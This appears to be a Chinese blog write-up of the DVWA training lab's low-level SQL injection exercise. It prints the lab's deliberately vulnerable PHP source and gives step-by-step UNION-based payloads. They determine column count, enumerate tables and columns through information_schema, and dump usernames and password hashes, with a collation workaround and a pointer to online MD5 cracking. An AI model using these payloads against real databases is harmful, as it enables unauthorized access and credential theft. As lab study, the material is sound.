前言
在学习dvwa的sql-low级别注入时,出现了Illegal mix of collations for operation 'UNION',于是研究了下解决该问题,本文简单记录下是如何解决的,请往下看~
攻击级别:low,源码如下:
SQL Injection Source
vulnerabilities/sqli/source/low.php
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:
global $sqlite_db_connection;
#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
关键查询数据库语句:
SELECT first_name, last_name FROM users WHERE user_id = '$id';
我们就通过制造$id的值来注入sql:最终获得所有账户名和密码
在注入之前,先学习新的知识点(for me...),1、查询语句select可以使用union来连接2句查询字段类型相同或类似的结果。2、#或-- 空格的作用是注释后面语句
注意
若在真实环境中进行注入,是不知道源码的,所以一般会多这一步:使用`order by`知道真实sql查询的是几个字段,这会在union连接的另一句select语句查询有作用!因为union连接的两句查询语句需要有相同的字段数量。
注入此句,可以知道原始sql查询的字段数量:
1' order by 3#
注入后出现上图,由此可知原始sql是查询了2个字段,所以我们构造的select查询语句也必须是查询2个字段。由此,再继续往下一步步走。
第一步:通过注入,知晓数据库名;
$id=如下:
由于原始语句(上方,关键查询数据库语句)是查询的2个字段(若不知源码,可以查看注意),所以我们构造使用union连接的查询语句也必须是2个字段,下方都加了1(无所谓,字段类型类似就行)
1' union select 1,database()#
注入结果:
dvwa即是数据库名称。
第二步:拿到数据库名,从而得知数据库里所有表名;
$id=如下:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
如果出现Illegal mix of collations for operation 'UNION'
,那么需要设置查询字段的字符集(盲猜:utf8_unicode_ci,如果不对的话得网上搜索字符集类型,一个个试...)
collate utf8_unicode_ci,如下:
1' union select 1,group_concat(table_name collate utf8_unicode_ci) from information_schema.tables where table_schema=database()#
注入结果:
看名称,users就是需要的。
第三步:拿到表名后,从而知道表里所有字段名;
$id=如下:
1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
如果出现Illegal mix of collations for operation 'UNION'
,那么需要设置查询字段的字符集(盲猜:utf8_unicode_ci)
collate utf8_unicode_ci,如下:
1' union select 1,group_concat(column_name collate utf8_unicode_ci) from information_schema.columns where table_schema=database() and table_name='users'#
注入结果:
看名称,user和password即是所需要的。
第四步:在知道数据表名和字段名称后,就可以查询账户与密码字段;
$id=如下:
方式一:直接打印账户密码
1' union select user,password from users#
注入结果:
方式二:concat拼接一起打印
1' union select 1,concat(user,'-',password) from users#
注入结果:
注意:查询出来的密码是经过md5加密的,可以找个md5解密工具网址MD5免费在线解密破解_MD5在线加密-SOMD5解密就可以得到真实的密码了。